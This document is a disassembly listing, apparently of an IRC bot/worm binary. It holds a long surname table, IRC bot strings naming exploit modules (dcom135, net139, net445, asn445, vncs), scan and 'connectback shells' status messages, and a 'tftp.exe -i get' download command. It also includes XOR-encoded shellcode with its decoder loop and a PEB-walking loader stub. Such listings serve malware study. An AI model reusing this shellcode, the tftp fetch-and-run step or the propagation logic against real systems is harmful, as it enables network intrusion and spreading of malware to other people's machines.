aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC68o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC64o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC60o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC5Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC58o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC54o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC50o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC4Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC48o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC44o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC40o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC3Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC38o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC34o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC30o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC2Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC28o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC24o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC20o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC1Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC18o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC14o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DC0Co
					; ___:0042DC10o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DC08o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DC04o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DC00o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBFCo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBF8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBF0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBECo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBE8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBE4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBE0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBDCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBD4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBD0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBCCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBC8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBC0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBBCo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBB0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DBACo
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DBA8o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DBA4o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DBA0o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB9Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB98o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB94o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB90o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB8Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB88o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB84o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB80o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB7Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB78o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB74o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB70o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB6Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB68o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB64o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB60o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB5Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB58o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB54o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB50o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB4Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB48o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB44o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB40o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB3Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB38o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB34o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB30o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB2Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB28o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB24o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB20o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB1Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB18o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB14o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB10o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DB0Co
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DB08o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DB04o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DB00o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAFCo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAF8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAF4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAF0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DAECo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAE8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAE4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAE0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DADCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAD8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAD4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAD0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DACCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAC8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAC4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAC0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DABCo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAB8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAB4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAB0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DAACo
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DAA8o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DAA4o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DAA0o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA9Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA98o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA94o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA90o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA8Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA88o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA84o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA80o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA7Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA78o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA74o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA70o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA6Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA68o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA64o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA60o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA5Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA58o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA54o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA50o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA4Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA48o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA44o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA40o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA3Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA38o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA34o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA30o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA2Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA28o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA24o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA20o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA1Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA18o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA14o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA10o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DA0Co
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DA08o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DA04o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DA00o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9FCo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9F8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9F4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9F0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9ECo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9E8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9E4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9E0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9DCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9D8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9D4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9CCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9C8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9C4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9C0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9BCo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9B8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9B4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9B0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D9ACo
		align 4
byte_431604	db 50h			; DATA XREF: ___:0040ABD9o
					; ___:0040ABE6r
		db 43h,	2 dup(0)
dword_431608	dd 7C7325h		; DATA XREF: ___:0040AC84o
dword_43160C	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD8Eo
dword_431614	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD85o
					; sub_41AF2B:loc_41AFEEo
dword_431618	dd 334B32h		; DATA XREF: ___:0040AD7Eo
dword_43161C	dd 5058h		; DATA XREF: ___:0040AD70o
					; ___:0040AF7Co ...
dword_431620	dd 4B32h		; DATA XREF: ___:0040AD60o
					; ___:0040AF6Co ...
dword_431624	dd 454Dh		; DATA XREF: ___:0040AD47o
					; ___:0040AF53o ...
dword_431628	dd 3839h		; DATA XREF: ___:0040AD37o
					; ___:0040AF43o ...
dword_43162C	dd 544Eh		; DATA XREF: ___:0040AD27o
					; ___:0040AF34o ...
dword_431630	dd 3539h		; DATA XREF: ___:0040AD19o
					; ___:0040AF26o ...
dword_431634	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADD4+3Ao
dword_43163C	dd 5D4D5Bh		; DATA XREF: sub_40ADD4+2Co
					; sub_40ADD4+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADD4+18o
					; sub_41870F+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0C9o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B08Bo
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B065o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B047o
					; sub_41AD74+52o
off_43166C	dd offset byte_4B4E55	; DATA XREF: ___:0040B02Ao
dword_431670	dd 345053h		; DATA XREF: ___:0040B020o
dword_431674	dd 34h			; DATA XREF: ___:0040B014o
dword_431678	dd 335053h		; DATA XREF: ___:0040B007o
dword_43167C	dd 33h			; DATA XREF: ___:0040AFF6o
dword_431680	dd 325053h		; DATA XREF: ___:0040AFE9o
dword_431684	dd 32h			; DATA XREF: ___:0040AFD8o

; =============== S U B	R O U T	I N E =======================================



sub_431688	proc near		; DATA XREF: ___:0040AFCBo
		push	ebx
		push	eax
		xor	[eax], eax
sub_431688	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43168C	dd 305053h		; DATA XREF: ___:0040AFADo
dword_431690	dd 4E55h		; DATA XREF: ___:loc_40AF91o
dword_431694	dd 3332h		; DATA XREF: ___:0040AF8Ao
; ---------------------------------------------------------------------------


loc_431698:				; DATA XREF: sub_40B2A6+C4o
		jmp	short loc_43169C
; ---------------------------------------------------------------------------


loc_43169A:				; CODE XREF: ___:loc_43169Cp
		jmp	short loc_4316A1
; ---------------------------------------------------------------------------


loc_43169C:				; CODE XREF: ___:loc_431698j
		call	loc_43169A


loc_4316A1:				; CODE XREF: ___:loc_43169Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_4316A6	dw 0FFFFh		; DATA XREF: sub_40B2A6+CCw
		db 80h,	73h, 0Eh
byte_4316AB	db 0FFh			; DATA XREF: sub_40B2A6+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316B0:				; DATA XREF: sub_40B2A6+A2o
		jmp	short loc_4316B4
; ---------------------------------------------------------------------------


loc_4316B2:				; CODE XREF: ___:loc_4316B4p
		jmp	short loc_4316B9
; ---------------------------------------------------------------------------


loc_4316B4:				; CODE XREF: ___:loc_4316B0j
		call	loc_4316B2


loc_4316B9:				; CODE XREF: ___:loc_4316B2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316BD	db 0FFh			; DATA XREF: sub_40B2A6+AAw
		dw 7380h
		db 0Ch
byte_4316C1	db 0FFh			; DATA XREF: sub_40B2A6+B0w
		dw 0E243h
		dd 0F9h
dword_4316C8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B12F+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43172C	dd 12h			; DATA XREF: sub_40B12F+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B12F+79o
aJ_0		db 'j',0
		db 0E8h
dword_431745	dd 17h			; DATA XREF: sub_40B12F+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43174C
		retn
; ---------------------------------------------------------------------------
byte_43174C	db 0E8h			; CODE XREF: ___:00431749j
dword_43174D	dd 1			; DATA XREF: sub_40B12F+45w
byte_431751	db 0, 6Ah, 0		; DATA XREF: sub_40B12F+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43175B	dd 0FFFFFFEDh		; DATA XREF: sub_40B12F+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B63B+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B63B+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3D3+164o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA8E+30o
					; ___:0040E21Ao ...
		align 4
		dd 5 dup(0)
dword_431808	dd 0B97h		; DATA XREF: sub_401AC7+1D32r
					; sub_401AC7+1D5Ao ...
off_43180C	dd offset sub_40EAB9	; DATA XREF: sub_40C3D3+1E6r
dword_431810	dd 0			; DATA XREF: sub_40B901+2Eo
					; ___:0040D74Aw ...
dword_431814	dd 1			; DATA XREF: sub_40BD7C+1Fr
dword_431818	dd 1			; DATA XREF: sub_40BD7C+3B3r
dword_43181C	dd 0			; DATA XREF: sub_40BD7C+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF3Dh, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EBEFh, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40E977h, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
; ---------------------------------------------------------------------------
		mov	ebp, 77000001h
		jmp	near ptr word_431952
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(1), 0
aAsn445_0	db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D584h
		db 2 dup(0)
word_431952	dw 0			; CODE XREF: ___:0043190Dj
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D584h, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B641h, 5 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_1	db 'asn445',0
		align 4
		db 2 dup(0)
byte_431A2A	db 1			; DATA XREF: sub_401AC7:loc_403773r
					; sub_401AC7+1CB6o
aDcom135_0	db 'dcom135',0
		align 4
		dd 79730100h, 6Dh, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A5E

; =============== S U B	R O U T	I N E =======================================



sub_431A4E	proc near		; CODE XREF: sub_431A4E:loc_431A5Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431A56:				; CODE XREF: sub_431A4E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431A56
		jmp	short loc_431A63
; ---------------------------------------------------------------------------


loc_431A5E:				; CODE XREF: ___:00431A4Cj
		call	sub_431A4E


loc_431A63:				; CODE XREF: sub_431A4E+Ej
		jo	short near ptr dword_4319E4+1Ah
		cwde
		cdq
		cdq
		retn
sub_431A4E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B901+85o
		align 10h
dword_431BE0	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B901+46o
unk_431BEC	db  2Dh	; -		; DATA XREF: sub_40B901+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431C0C	db  2Dh	; -		; DATA XREF: sub_40B9CF+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431C54	db  2Dh	; -		; DATA XREF: sub_40BA3A+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA8E+7Eo
dword_431C90	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA8E+40o
dword_431CA0	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA8E+14o
		dd 7473694Ch, 3Ah
unk_431CBC	db  2Dh	; -		; DATA XREF: ___:0040BCC2o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431CF0	db  2Dh	; -		; DATA XREF: ___:0040BBD4o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431D20	db  2Dh	; -		; DATA XREF: sub_40BD05+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431D40	db  2Dh	; -		; DATA XREF: sub_40BD05+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D5C	db  2Dh	; -		; DATA XREF: sub_40BD7C+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431D90	db  2Dh	; -		; DATA XREF: sub_40BD7C+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431DC8	db  2Dh	; -		; DATA XREF: sub_40BD7C+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_431DF8	db  2Dh	; -		; DATA XREF: sub_40BD7C+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431E2C	db  2Dh	; -		; DATA XREF: sub_40BD7C+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431E60	db  2Dh	; -		; DATA XREF: sub_40BD7C+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E94	db  2Dh	; -		; DATA XREF: sub_40C3D3+EBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431EBC	db  2Dh	; -		; DATA XREF: sub_40C3D3+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
